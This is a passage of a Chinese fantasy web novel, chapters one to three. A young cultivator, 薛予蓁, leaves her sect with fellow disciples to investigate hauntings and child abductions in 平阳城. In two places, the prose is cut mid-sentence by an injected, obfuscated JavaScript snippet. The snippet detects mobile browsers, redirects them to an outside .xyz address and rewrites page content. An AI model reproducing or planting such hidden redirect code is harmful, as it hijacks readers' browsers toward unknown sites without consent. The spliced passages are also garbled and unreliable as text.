《就要玩转反派》 1. 第一章 平阳 清棠峰竹林中枝叶摇动,道道剑气穿叶而过。 林中两道身影时隐时现,男子和少女衣袂翻飞,手中长剑时不时地碰撞交锋。 几招过去,少女渐渐落入下风,手中的剑被打落在地,她侧身避开接连不断的招式,正探手从袖中摸索着符纸。男子一掌压在她的肩上,长剑一翻,隔着一指距离抵上她的咽喉。 薛予蓁捏住符纸的手一松,深深叹了一口气,求饶道:“师兄,是我输了。” 褚霁远将手中的敛芳华收回,握着薛予蓁的手将她拉起来,笑道:“先前所学的剑招都已掌握,很好。” 薛予蓁闻言眼睛一亮,看着褚霁远笑得明媚,“嘿嘿,都是师兄教的好。” “只是书读得太少了。那些,”褚霁远朝着石桌上的一大摞书扬扬下巴,“尽快看完,我会抽查。” 见书就困的薛予蓁神色一僵,眼尾低垂着,显得分外可怜,但褚霁远丝毫视若无睹,只用剑鞘轻轻敲着她的肩膀。 “不想看?王小虎对五洲历史的了解都比你深。”褚霁远补充道。 王小虎是饭堂阿婶家的小儿子,今年才过五岁。 薛予蓁见自己动摇不得师兄的心,只能怏怏地应了是,随后便抱着书要回竹晏峰。 褚霁远看着她略微摇晃的背影,马尾晃悠着在空中划过一个圆滑的弧度,挺拔的肩背与那个跪在血污里哭泣的小姑娘再也重叠不起。 四年前的那场大雨,彻底撕碎了她温情的家庭,伏在母亲尸身上嚎啕大哭的小姑娘如今已经能独当一面了。 —— “站住!”薛予蓁拎着佩剑追赶着前面抱着孩子疾驰的男人。 那名男子显然是没有灵力的普通人,三两下就被追上了。他见势不妙,回身将孩子往薛予蓁身上一丢就忙不迭地跑走了。 薛予蓁手忙脚乱地接住孩子,本还想继续去追他,却突然感觉头皮一痛,她低头一瞧,怀中的婴孩一手抓着一缕她的头发,眨巴着一双圆溜溜的眼睛,看得叫人心软。 “算了,迟早会抓住他。”薛予蓁嘀咕着用手戳了一下小孩软乎乎的脸颊,笑道,“幸好将你追回来了。” 小宝宝眼睛眨了眨,小鼻子不安地抽动着,眼中慢慢泛起水雾。薛予蓁顿感不妙,她慌忙回头,“子书师兄,他,他好像要——” 果不其然,她的话都还没说完,怀里的孩子便开始哇哇大哭,小孩子的声音尖利又响亮,薛予蓁被这哭声震得脑子空白一瞬。 赶来的子书珹连忙接过孩子将她解救出来,熟练地抱着孩子轻声哄着。 薛予蓁大大地松了一口气,她揉揉脑袋,嘟囔道:“为什么我抱着就哭啊,明明是我救了他诶。” 看着她孩子气的模样,子书珹哭笑不得,道:“也不瞧瞧你是怎么抱着人家的。” “可是我救了他……”薛予蓁争辩道。 子书珹想起这事便有些气恼,警告似地瞪了她一眼,“若是再独自行动,我便告到褚师兄那去,叫他来教训你。” 薛予蓁立马双手合十央求地朝他拜了拜,见他表情缓和,便又换了一副笑嘻嘻的模样。 她看了看近在咫尺的城门,道:“只听说平阳城内近日不太安生,没想到已经猖狂到当街抢孩子的程度了。” ---- 时间回到六天前,薛予蓁正抱着褚霁远给她的那一摞书往竹晏峰走,书堆得实在是太高了,她只能歪着头看前面的路。突然感觉有人在后面拨了一下她的头发,她有些不悦,但没表现出来,还没等她开口问,一名男子便绕到了前面来。 看着这人,薛予蓁呆了两秒,“许师兄?” 许乐禾点头应下了,他伸手拿了一本书翻了几页,乐道:“这灵草灵果的讲识你怎么还在看呢?” 他又翻了几本,不是这个宗的历史,就是那个秘境的前传,看得许乐禾一脸纳闷,“我寻思咱们小风筝如今已经是金丹期的修士了,怎么还在看这些小娃娃看的识本呢?” 被分担走了部分书,薛予蓁轻松了许多,她深深叹了一口气,“今日师兄考核,我当他只考我剑招心法,谁知他却连这些也要考。” 薛予蓁不曾学习过这些,四年前师父叫她好好修炼,她便卯足了劲地修行。她天生灵脉,同这灵气同宗同源,短短四年便已经是金丹初期的修士了。 可修为确是起来了,但常识就同褚霁远讲得那样,连食堂阿婶家的王小虎都比不上。 褚霁远问的问题她一个也答不上来,还被师兄笑了好一阵,最后和她一同去了藏书阁,挑了好些书出来。 登记的时候,藏书阁的师叔还以为褚霁远又要带一个小娃娃了。 听闻是这理由,许乐禾哈哈笑了起来。他是浮鸢长老的二徒弟,比薛予蓁长四岁,性子跳脱,似乎是和宗门里的任何一个都说得起话。虽是这般,平日里修行也不会偷懒,每日都泡在药堂里。 薛予蓁知道他不会没事干来找自己,“许师兄今日找我又有何事?” 不等许乐禾开口,薛予蓁便警惕地看着他,道:“若是又被罚去扫试剑堂,我可帮不上忙。” 她绝望地看着这一摞书,“师兄只给了我十二个时辰来看,说是再答不上便要罚我去药圃翻地了。” 许乐禾有些尴尬,“师妹好生无情,难不成师兄只会闯祸不成。”他凑近了点,“你如今已经是金丹修士了,按理说可以下山历练了……” 薛予蓁怔住,她这么多年努力修炼本就是为了可以下山,至少一开始是这样的,可如今真的到了这一天,她却心生胆怯了。 “我……不知。” “不知什么啊不知,你之前不是哭着喊着要下山吗?”许乐禾把人送到竹晏峰,“几日前有宣阳城的一个小宗门来信,说是平阳城闹鬼,他们调查半月也没发现什么异样,来请我们帮忙。我同赠春接下委托,想着干脆带你去练练手,这两天正好在收拾行李。” 许乐禾难得摆出一副师兄的严肃模样,“她说你或许在山上待了几年,有些不敢下去了,叫我来问问你,也叫你好好想想。若是想去的话,便去同宗主讲,他应该也不会拒绝你。” 薛予蓁将书放下,行了一礼,“予蓁多谢许师兄和徐师姐——” 许乐禾摆了摆手,“先别谢来谢去,两日后辰时在山门见。只等一刻钟啊,若是不来,我们便走了。” 薛予蓁自己拿不准注意,回了竹晏峰就跑去找了施淼淼。她不同弟子们一道上课,但也有长老来教习,今日在学符咒。 薛予蓁在门口张望,被屋内长老一个眼神逼退,她退回自己房间,兴致不高地翻阅起了褚霁远挑的书。 施淼淼下学已经是一个时辰后。看着师姐送走长老,薛予蓁连忙凑了上去,“师姐。” 谁知师姐这会儿只想着看她笑话,“听说我们小风筝今日被批评啦?” 不知她是打哪来的消息,薛予蓁面上红了红,又听她道:“师兄也是个坏家伙,明知小风筝不懂这些。” “师姐莫要说了,”薛予蓁脸红得很,她摆摆手,“是我的错,师兄早些时候就叫我多看看书,谁叫我只图快,不去看。” 四年的时间,足够当年的小姑娘长大了。薛予蓁的身姿越发挺拔,眉间那点稚气早已消散,取而代之的是少年的意气风发。 而施淼淼却显得有些苍白,她如今要比薛予蓁要矮一些,她略略抬高视线去看薛予蓁,“我自然知道。”她笑了笑,“小风筝之前急匆匆来找我是有什么事情吗?” 薛予蓁自然是将事情详细给她讲了。施淼淼听完后有些出神,细看的话眼中有羡慕之意,“予蓁是如何想的?” “我……我真的不知啊,听许师兄讲当年的事,又有些想要下山的冲动,”她神情落寞,“可真要迈出山门,我不知道够不够格。” 她成长的速度实在是太快了,不少人都怀疑这金丹期的修为是用灵丹堆砌出来的——比试中不正确的符咒和剑招都叫人觉得她只空有一颗金丹,却没有那个出山的能力。 “何况,四年过去,我竟有些记不清父母兄长的样貌了。实在无脸去祭拜。”薛予蓁说着,眉梢都耷拉下去了。 施淼淼拉着她在屋外桃树下坐下,像无数个梦魇后的夜晚一样,轻轻的搂住她:“当年你年纪小,又受了惊吓,若是伯父伯母知道你记不得了,说不定还会高兴呢。那些吓人的事,全都不记得才好。”她捏了捏薛予蓁的脸,“师姐知道我们小风筝是够格的,四年来是如何努力的。” 从施明尘决定收徒的那一刻到现如今,施淼淼对薛予蓁从未有过半点不喜,甚至说是她将这如同死水一般的竹晏峰搅起了波澜。 施淼淼的病是从娘胎里带出来的,当初她娘生她时被人下了毒,可即便如此,宗主夫人就算是自剥灵脉也要将她生下来。 但毒素早就侵入了幼儿,施淼淼虽然活了下来,却也天生灵脉滞涩,难以修炼。如此多年,修为也还停留在炼气后期。 施明尘尤其宝贵这个女儿,一直护着不让她受伤,连竹晏峰都是终年春日,桃花绵延。可施淼淼是掌门之女,是施明尘的徒弟,她占了掌门徒弟的位置,却毫无能力。 知源宗的弟子不说个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471898|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个如此,绝大部分人都仰慕强者。施淼淼的修为甚至比不过内门扫地的阿叔阿婶,他们看着身份眼红,却又不得不恭敬,一口一个“小师姐”。 听着亲切,施淼淼却知道这是在看不起自己,是在嘲笑自己。 可她不好发作,因为再怎么狡辩,也改变不了她本就是个废物的事实,她只能生活在父亲的庇护之下。 直到薛予蓁十五岁后开始和他们一起上课,她不明缘由,听见弟子们喊施淼淼小师姐,觉得听起来更亲近,于是也学着这样叫。 施淼淼起初以为她也看不起自己,正要发作,回首却只能看见小姑娘清亮的眼睛,里面没有嘲弄笑意,只是亮晶晶的期待。 也是,自从拜了师后她们二人就一直住在一起。施淼淼晚上哄过梦魇吓醒的薛予蓁,白日里薛予蓁也因为看着师姐犯病痛苦的模样悄悄红了眼眶。 虽是半道相识,可她二人,却比亲姐妹还要亲近。 施淼淼一下子就卸了劲,头一次觉得这个称呼如此可爱。 薛予蓁喊了这个称呼近一个月。后来有天施淼淼犯病,褚霁远便差使许乐禾送她回去,路上无意喊了一句,许乐禾脸色一下就变了。 他厉声责问薛予蓁为什么要这样喊施淼淼。 许乐禾实在是长得太有迷惑性,性格也好,平日里从未有人见过他这副生气蹙眉的样子。薛予蓁被吓了一跳,说是听别人也这样喊的。 许乐禾嗤笑道:“别人如何你就如何,别人去死你也去死?”他不明白两个女孩子之间的情谊,只以为她也是那种拜高踩低的货色。 薛予蓁不明白原先和颜悦色的师兄为何一下就转变了态度。 她这一年里被师兄师姐宠着养大,虽偶有胆怯,但多数时候还同父母兄长在世时一样胆大妄为,顽皮捣蛋。 她直言道:“师兄有话便直说,何故在这阴阳怪气。” 看她疑惑的神情不似做伪,许乐禾心道或许是自己先入为主了。他快速将这称呼的事情说了一遍,“当着掌门师兄的面上或许恭恭敬敬地喊声师姐,私底下却什么恶心说什么。” 他冷哼一声,“‘小师姐’?如是真像你一样觉着亲切才这样称呼便算了……真不知道谁给的胆子脸面叫他们这样侮辱师姐。” 薛予蓁只和他们上了一个月的课,同门对她倒是客气得很,一口一个薛师姐的喊着。薛予蓁便也和他们相处得不错,可她万万没想到那些看起来友善的同门,心里却是这样想的。 她心道,怪不得师姐面对那群看人下菜的弟子都没个好脸色。 可没有人比她更清楚,施淼淼真的是一个特别好的人。 从此她也没喊过小师姐。 起初,施淼淼只以为她喊腻了也没在意。直到有天她和薛予蓁去药圃找浮鸢长老领药,路上遇见了三四个内门弟子,不知是哪位长老座下的,见着施淼淼便笑嘻嘻地喊着小师姐问好。 施淼淼当即脸色就沉了下去,她的斥责还未出口,就听见身旁薛予蓁冷声道:“为何不向师姐行礼?” 几名弟子自然知道能被她称为师姐的只有施淼淼一人,道:“薛师姐方才是走神了吗?我们分明问了小师姐好。”个个都嬉皮笑脸的,好不礼貌。 薛予蓁的神色冷了下来,她本五官柔和,就算不笑的时候也让人觉得是个好说话的人。 此刻却面色沉沉,眼神冷冰冰的,她冷哼一声,“是吗?我以为是在同我问好呢?毕竟我才是师父最小的徒弟不是吗?” 这话一出,几人当即冷汗就下来了。分明几人修为不相上下,却觉得在薛予蓁的注视下抬不起头来。 “再有下次,我便不客气了。” “是、是!”见薛予蓁没有深究的意思,几人连忙道了歉,忙不迭地走了。 施淼淼看着长舒一口气的薛予蓁,心里先是酸涩不已,而后便觉得这个小师妹简直是暖人得很。分明自己也紧张得不行,却还要装着冷冰冰的模样来为自己出气。 薛予蓁不知道施淼淼在想什么,她道:“这种人真是可恶。我以前也遇见过,”她转身来柔声安慰师姐,“我从前不在镇子里上学,爹娘在家里教我。有时去玩,他们便说我是可怜虫,穷光蛋。” 她脸上显露出点怀念,“爹说,只有没本事的人才会在口舌上逞威风。” 女孩还未抽条长大,脸颊还有些肉乎乎的,神色却无比认真,“师姐,不要听他们乱说。师父很爱师姐,师姐就是师姐!” 从回忆中回过神来,施淼淼轻轻捏了捏薛予蓁的脸,“下山去吧小风筝。去看看外面的世界。” 2. 第二章 下山 听了施淼淼的话,薛予蓁当即便前往大殿去找师父,却不想在路上遇到了褚霁远。她往立柱后藏了藏,在心中大喊不妙,今日考核不过,师兄嘱咐要看的书一本都未看完,现下又要被训了! 等了一会儿后她试探地伸着脑袋想看看褚霁远走了没有,却径直撞上他的胸膛。 薛予蓁看着一言不发的师兄,抿了抿唇,小声地问了师兄好。褚霁远原也没想吓她,只觉得她探头探脑的样子有些好玩。像极了山前那只仗着可爱恃宠而骄的猫狸子。 他笑了笑,揉了揉她的头发,“小风筝,偷偷摸摸做什么呢?” 听见他喊自己的小名,薛予蓁不好意思地挠挠脸蛋,仰头看着他,“师兄,以后不要这样喊我了。” 褚霁远不明所以,“为何?我记得师父都还是这样唤你的,为何我喊不得?” 薛予蓁在心里嘀咕,师父是师父,是长辈,自己这辈子在他眼里都是小孩子,权当是哄他老人家开心了。 刚来时年幼,在谁眼里都是小孩子,同辈的师兄师姐喊个小名当然没什么。如今她都十七了,再被这样喊的时候总觉得有些不自在了。她摸摸鼻子,“这,不是长大了嘛,听师兄这样喊,总觉得还是小孩子。” 褚霁远明白她的意思,不轻不重的拍拍她的头,“你在师兄眼里,可不也还是个小孩子?”褚霁远哼笑一声,也不再逗她了,“是来找师父的?” “是。”薛予蓁踌躇了一下,还是将事情都与褚霁远讲了,“许师兄说的有理,师姐也说的有理。” 许是自己再说了一遍将自己讲开窍了,她这会儿心思坚定下来,也不惦记师兄会训斥她的事了,只道:“光是纸上谈兵怕是一辈子都不得长进,何况我的金丹是如何修炼而出我自己再清楚不过。我要下山去。” 四年的时间叫那段血淋淋的回忆蒙上一层纱,她已经很久不做噩梦了。可在午夜梦回的时刻,薛予蓁总在想为什么父母哥哥总不入梦来看看她。是在抱怨她不思进取没能替他们报仇血恨吗? 想起那日的情形,她还是有些怕的。但如今不再是那个只能被母亲护在怀里的小孩子了,手中所执的并非是纸鸢而是长剑。 褚霁远看着她,那双透亮的眸子里早已不再蓄着泪,赞许地点点头,“去吧,师父在大殿呢。” 施明尘自然是愿意的,他明白若是一直待着师门内,成长终究是有限的。 “回去叫师姐帮你收拾收拾行李,路上要听你两位师姐师兄的话,他们二人不是第一次下山了,经验丰富,你多学着。” 又道:“不可逞强,若是遇到解决不了的事情,传音传信回来,师父和师兄都在这儿。” 施明尘作为师父虽不常教导薛予蓁,待她却从不含糊,又絮絮叨叨地嘱咐了许多。 薛予蓁一开始还听得认真,往后便有些迷糊了,最后走出大殿时晕头转向地回复了施明尘,“徒儿都知道了,师父你别说了。” -------- 两日后。 薛予蓁到山门的时辰要早一些,她只带着一柄长剑。清晨露重,施淼淼披着一件披风站在她身旁,时不时的嘱咐两句,又或者是往薛予蓁的玉符芥子里塞些东西。 薛予蓁看得累了,她将玉符摘下藏进袖子里,无奈道:“师姐,平阳城虽远,但我应当待不了多少时日,不必带这么多东西吧。而且如今盛夏时节,这大氅用不到呢……” 施淼淼轻叹一口气,“小风筝呀,师姐没下过山,不知道山下是什么模样。只是担心你罢了,虽说你先前在外面生活过,可这几年可都是我锦衣玉食的养着的。”她幽幽地看着薛予蓁,掏出手绢假意拭泪,“难道小风筝现在就腻了师姐了吗?” 薛予蓁听得一愣一愣的,只能又把玉符拿出来,看着师姐往里放了五件换洗衣服,一条兔绒毛毯,三块玉佩,五瓶灵药,以及她常躺的一张软榻——薛予蓁大惊,她看着两位侍女姐姐抬着的软榻一时间有些讲不出话来。 她想说这个应该的确是用不着的,但嘴巴还没张开就看见了师姐一副“你再说一句拒绝的话我就要昏过去了”的表情,又只好把话都咽了回去。 “师姐,她是去历练还是去享福的?你不若将竹晏峰都给她装上算了。”在又是几条绒毯被放进芥子里后,徐赠春和许乐禾总算是来了。 二人换下了弟子袍,换上了自己的常服,装束简单,除了长剑外就没别的东西了。看见施淼淼这送行的架势,许乐禾道:“知道的是去历练,不知道的还以为薛师妹被扫下山了呢。” 施淼淼霎时收了那副柔柔弱弱的样子,她朝着许乐禾笑得温柔,“乐禾师弟啊,我们小风筝年纪小,你作为师兄要照顾着点,要是回来时她受了伤……” 许乐禾被笑得一身鸡皮疙瘩都起来了。他三岁时拜师浮鸢长老,和施淼淼是老相识了。若是不认识施淼淼的人瞧见她的模样,只会觉得这果真是个柔弱温和的女子。 但许乐禾清楚得很——施淼淼从来都不是什么柔弱小姐。她这人虽说没有大小姐娇蛮不讲理的通病,却能演得一手好戏,能说会道极了,白的能说成黑的,死的能说成活的。 当然,这种手段只是对付那些蛮不讲理的人用的,对付自家门下的师弟师妹自然只需要笑意盈盈的威胁。 许乐禾曾一度不理解,施淼淼明明大门不出二门不迈,是怎么学到这些东西的。直到有天他看见从山下回来的褚师兄给她带了一箱话本子。 他好奇到底是些什么东西,便去看了两眼。至此,所有疑问都有了答案。 “我们带人出去,自然会将人好好的带回来。”徐赠春打小就见不得许乐禾这副畏畏缩缩的样子,隐晦地朝他翻了个白眼后,笑眯眯的回答了施淼淼刚刚那个问题。 施淼淼也笑着回应,“赠春向来与人友善,也心细,交给你,师姐是放心的。” 二人年纪相近,凑在一起又说起了别的事情。许乐禾见状便闪到了薛予蓁身边,小声道:“你师姐真是把你当眼珠子护着,这架势摆的跟她是你娘一样。” 薛予蓁心里感激师姐,便也懒得去应他这话,“我们不走吗?” 许乐禾无奈,“好师妹,咱好歹是去帮人解决问题的,自然要多几个人去。等着吧,还有两位呢。” 话音刚落,便有三人脚步匆匆的过来。一人穿着华贵,另外两人倒是和薛予蓁几人无异,只着淡色便服。 薛予蓁认得他们,那位走在前面穿金戴银,恨不得将“我很有钱”这四个字写在脸上的是闵榭长老的徒弟——渝州子书家的子书珹。 子书家是丹药世家,自然在钱财方面不会亏待自己的独子。 那人一过来,就直奔薛予蓁,笑眯眯道:“薛师妹,可巧可巧,没想到你也在列。” 徐赠春伸手隔开二人,皮笑肉不笑,“巧在何处?不是你听说师妹要与我们一道去,才巴巴地跟上来的吗?” 他们二人素来不对付,徐赠春看不惯他一副浪荡样,子书珹看不惯她人前一套人后一套。见这人挡面前,子书珹笑也收了回去,哗啦一声展开一面素白的扇子,冷哼,“你也知道,若不是师妹在一路,我何故要与一个伪君子一路?” 这两人一见面就要掐架,薛予蓁见怪不怪,扭头去找另外二人说话。另外二人都是外门弟子,此次能与他们一路,身手修为都是拔尖的。其中一位女子样貌张扬,气性也不小,但待人即为温柔,只是不笑时总觉得她在凶人。她看见薛予蓁,便笑着打了招呼,“予蓁,许久不见了。” 按理说外门弟子怎么都该唤她一声师姐,但陶小雨年纪稍长,修为也略胜一筹,算是前辈,薛予蓁听她喊师姐实在是不自在,便只以姓名相称。 陶小雨是孤儿,被门内哪个长老捡回来的,她不算天赋好,但实在勤奋努力,不到三十便是金丹中期。她与薛予蓁是在修炼时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471899|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识的,二人都是勤学好练的人,一来二去便也熟悉起来了。 另一位叫游鸿,薛予蓁没和他有什么交往,但在每月的弟子考核里都能看见他的名字位列前三。他来了之后只道了声师姐好后便再没开过口。 薛予蓁本想和她二人再说说话,却被一人拉了过去。许乐禾语气焦急,“好师妹,你先别聊了,去拦拦他们吧,门内私斗可是要挨罚的呀。” 扭头一看,原本只是言语相冲的二人已经要打起来了——徐赠春面无表情,手却已经摸向腰间挂着的缠枝阙了,子书珹面带讥笑,袖口略略露出了几张符纸的一角。而他们的好师姐施淼淼笑眯眯地站在一边,看着他们的眼里满是兴意。 薛予蓁看他们剑拔弩张的样子,头皮发麻,“许师兄怎么不去拦,再说了,我怎么拦得过他们。” 子书珹年岁是他们里最大的,天赋也能说上一句不凡,虽然看着是不着四六,却已经是金丹期大圆满了。而徐赠春也是金丹中期。 薛予蓁想着,自己若是要去横叉一脚,必定是被打飞出去的那个。 许乐禾却是直接将她往那边推了一掌,“子书师兄最喜欢的就是你了,你去他肯定舍不得下手。” 事实证明他说得是对的。也不知道那家伙一个药修怎么力气那么大,薛予蓁猝不及防被推了过去,踉跄着就要摔倒了。 子书珹却仿佛是长了第三只眼睛一般,闪身过来就将她抱住了——整个将人掐住腋下提了起来。 薛予蓁被他提溜着,心里想着这一个二个不是药修就是符修,为何力气那么大。她实在尴尬,但也怕二人再掐架,只好咧嘴笑了下,“子书师兄,咱们还不出发吗?” 被她这一声师兄喊的心中愉悦,子书珹也没心思再去管什么徐赠春,轻轻地把人放下,怜爱地摸摸她的头,“这厢人都齐了,咱们马上就走。” 在一旁装聋作哑的施淼淼这时也出声道:“既然如此,诸位就出发吧。” 她还是那副笑意盈盈的模样,只是这时才真叫人看出一些大师姐的样子来,“此去路上,相互照应,切莫内斗。”她作了一平礼道别,“各位师弟师妹,一路平安。” 几人也还了一礼。 薛予蓁走到山门前。巨大的石碑是刻着“墟山·知源”四字,她知道在这有着护山大阵,没有腰牌或是宗主令的人,进不来也出不去。 四年前她跌跌撞撞地找到了下山的路,却被这护山大阵挡住了。 瞧着几位同门一身轻松地穿过屏障,心中平添了几分紧张。薛予蓁回头去看施淼淼,师姐还站在原处看着她,见她回首,便笑着挥挥手,轻声道:“快去吧,不会有人再拦着你了。” 顿时心中一轻,但也只敢先伸手去试探。那原本坚硬的屏障此刻就像是雨帘一般,在她触及时便慢慢消散。薛予蓁说不清这是怎样的感受,只迈步走了出去,又去看师姐。她却已经先离开了。 子书珹走到她身边,“怎么了?” 薛予蓁摇摇头,“没事。” 她往下走了两步,又停下来去看山门。像是蒙了一层雾一般,已经看不清了。墟山实在是高,她幼时怎么仰头看都看不见顶,而这时若是想攀顶,御剑不过几息,“只是突然觉得,这座山,好像也没那么可怕。” 平阳城虽远,但身为修士,几人日夜不停御剑前往只需要四日。只是薛予蓁在门内不常有机会御剑,自然就称不上熟练。子书珹看她在半空中晃晃悠悠,一路上魂都被吓飞好几次。 好在她适应得极快,靠近平阳城时已经能稳稳当当地飞行了。 远远地瞧见城内繁华喧嚣模样,薛予蓁期待不已,谁知收剑落地后却听见了一名妇人声嘶力竭哭喊的声音。 “我的孩子!我的孩子!” 一名男人竟是青天白日就敢当街强抢孩子。薛予蓁找到那名男人的身影后便追了上去,将几名师兄师姐全然忘在脑后。 3. 第三章 宋璇 “多谢多谢,多谢几位仙长。” 妇人的声音将薛予蓁的思绪拉回,她看着抱着孩子想要朝他们跪下的女人,急忙扶住她的手臂,慌张开口:“不必如此不必如此。这本就是我们该做的。” 妇人感激地望着她,嘴里囫囵着几句谢语,薛予蓁摆着手安慰她,好不容易才将人送走。 谁知几人没走出多远,又出了状况。 “唔啊。” 薛予蓁低头一看,一个小孩撞到她的腿上。看着不过两岁,站不太稳,晃了两下就坐到地上,也不哭闹,笑眯眯地看着薛予蓁。 薛予蓁瞧着她可爱,蹲下身想同她说话,却见一个女人飞快地冲了过来,将孩子抱起就走,一边走还一边回头警惕地看着一行人。 先前还被人当作是救命恩人般感激,现在倒是被怀疑成要偷孩子的拐子了。薛予蓁无奈地笑了笑,看向子书珹。 “近几月来,平阳城失踪的人越发多了起来,手无缚鸡之力的小孩尤其多。也不怪他们心生警惕。”子书珹解释道。 薛予蓁点点头,看着母女二人离去的背影,心中情绪复杂。 还没等她回过神来,就感觉自己手臂被人狠狠攥住,泛起一阵痛意。 她慌忙看去,一名头发凌乱,衣衫褴褛的女人跪在她面前,抓着她的手,疯疯癫癫地笑着喊着:“宝宝,娘的好宝宝,快跟娘回家啊,快和娘回家。” 薛予蓁本想要挥开她的手,听见她这话生生愣住了。 一旁的子书珹见状,上前想要将女人的手拉开,却听见薛予蓁说道:“好,我和你回家。” 这下不光是子书珹,连那个一直絮絮叨叨地疯女人都呆了一下。她扒拉了几下头发,凑到薛予蓁面前细细地看着她的样子,而后一把甩开了薛予蓁,又颤颤巍巍地往别的地方走,嘴里不住地嘟囔着。 子书珹知道她是想起了自己的母亲,拍了拍她的肩,轻声道:“咱们先进城吧。” 薛予蓁收回视线,点点头,“嗯。” 平阳城不过是宣阳城下的一座小城,却因为靠近宁沂秘境而变得繁华起来。 薛予蓁到底还是少年心性,又四年没下过山,如今看见城内的繁华,一下就将之前的事情抛到脑后,看什么都好奇。 他们进城后随意寻了间小客栈住下,子书珹自然不舍得让喜爱的师妹受苦,自掏腰包包了几间上房。陶小雨同薛予蓁住一起,许乐禾和游鸿住一间。 徐赠春瞧不上子书珹,自然也不愿意花他的钱住店,她自己另开了间房。 子书珹进城时瞧见了薛予蓁看什么都好奇的眼神,悠闲地抛着扇子,“小风筝许久没下山,看什么都新奇,师兄带你去城里逛逛?” 薛予蓁有些心动,但惦记着这次下山是有正经事,“任务要紧,我们还是先去寻白掌门吧。” 可徐赠春这时倒和子书珹一个想法,但对待薛予蓁就温柔许多,“师妹同他去看看吧,我带着陶师妹和许乐禾去就好。” “可以吗?”薛予蓁虽然不知道这是为什么,但徐赠春既然开口了,她也点头称好。 许乐禾却不乐意了,他一向喜欢热闹,“怎么就好了?我可一句话还没说呢。”他分明是不满意徐赠春的安排的。 薛予蓁怕他二人吵起来,刚想开口,却见徐赠春不做声色地看了许乐禾两眼,“既然如此,游鸿师弟同我们一起,你和师妹一道。” 游鸿自然是无所谓这些安排,许乐禾倒是一愣。 徐赠春行事利落,说完便带着师弟师妹出门了。 子书珹懒得管她,收扇敲了敲薛予蓁的肩头,“师妹,咱们也走吧。” 正值夏日,平阳城里却像是感受不到暑气一般,凉快得很。薛予蓁觉得奇怪,想同两位师兄说,一扭头,那两位却已经在两旁小摊子上挑挑拣拣了。 子书珹见她有些不自在,便招手让她过去。“我们每次下山,都习惯了给淼淼带些东西回去。”他晃了晃手中的蝴蝶钗子,“小风筝,你也来看看。我每次带回去的东西,她都不是很喜欢,来帮师兄挑挑?” 那支蝴蝶钗子红黄交错,颜色实在艳丽,看得薛予蓁眼睛疼,她心中腹诽,这丑东西,怪不得师姐不喜欢。 有了事情做,她便打算先不提怪事,同子书珹一起挑礼物了。 但提到了施淼淼,她又忽地想起了下山时师姐看自己的眼神,“子书师兄,师姐是真的不能下山吗?”她有些心不在焉地摆弄着一支素色的钗子,问道。 子书珹又自己挑了几支迷惑配色的钗子,正拿给老板结账,闻言沉默了一下,“也没人说真的不能,但这么多年,她确实没下过山。宗主担心,长老担心,谁都在担心。” 薛予蓁想说她看见师姐望向山门的眼神是极为期待的,想了想觉得这样好像在说师姐很可怜一样,就又闭上了嘴。 她翻出一支雕着振翅欲飞的鸟的银钗子,想去问子书珹说这个合适吗,那人却又跑到另一个铺子去了。薛予蓁无言,只得匆匆付了钱又跟了过去。 谁知一心只想着师兄,忘记避着人,直挺挺地撞上了一位女子。薛予蓁好歹修了四年道,只微微踉跄了一下便稳住了自己的身形,那位姑娘却是被撞倒了,旁边的丫头尖叫着喊了一声小姐。 薛予蓁连忙探手去扶,却见那位姑娘已经在丫鬟的搀扶下站了起来。薛予蓁自觉不对,扬声说了句抱歉都便红着脸去捡地上滚落的果子。 那姑娘脾气倒是好得很,这样也没生气。接过薛予蓁递来的篮子时还笑着安抚道:“是我没注意,你不要放在心里。”见她年纪要小一些,又补充,“上街要跟紧家中长辈呀。” 薛予蓁本没觉得自己还是个小孩子,听她这么说也不自觉地去子书珹了。子书珹当然不可能没注意到这边的情况,他丢了几块灵石给小贩,朝这边走来。 但子书珹并未责备她,而是和面前这位姑娘打了招呼,“师妹年纪小,心性未定,给宋小姐添烦了。” 那位宋小姐闻言也是一愣,一双上挑的桃花眼中笑意漾开,顾盼生姿,“子书公子哪里的话。”她从篮子里挑了个果子递给薛予蓁,“这个年纪正是活泼好动呢。” “上次见面已是三年前了,还当以后再无缘相见,怎么今日到平阳城了?”宋小姐问道。 薛予蓁等了一会儿,却没听见子书珹的回答,她对此事也不甚清楚,只略略地说了自己知道的。说完还补充道:“虽不知道到底是什么,也没听闻有什么人受害,但宋小姐近些日子出门还是小心些吧。” 宋小姐点点头,又道:“若是城西南那间宅子,我是知道一些的。”顿了一下,“还有,我已嫁做人妇,早已不是什么宋家小姐了,叫我名字便好。” 宋小姐名为宋璇,是平阳城宋家的小姐。子书珹顿了一顿,“山中岁月闲散,竟也无人来报喜,未能给姑娘送份贺礼。” 宋璇搭在篮子上的手指微微收紧,薛予蓁看她分明是想辩解什么,最后却又是那个温温柔柔的模样,摇头道:“我与子书公子不过一面之缘,这是面子上的事情,不打紧。”她福身作别,“二位若是要寻我,到张家府上便是。” 送着宋璇离去,薛予蓁扭头看子书珹还是一副心不在焉的模样,她心思一转,凑过去小声道:“子书师兄,你是不是喜欢刚刚那个姐姐啊?” 这话像什么回事?子书珹立马回神,抬扇往她头上轻轻一敲,“小小年纪,胡言乱语什么呢。”他这会儿又端着他那吊儿郎当的样子了,“师兄自然是喜欢小风筝的。” 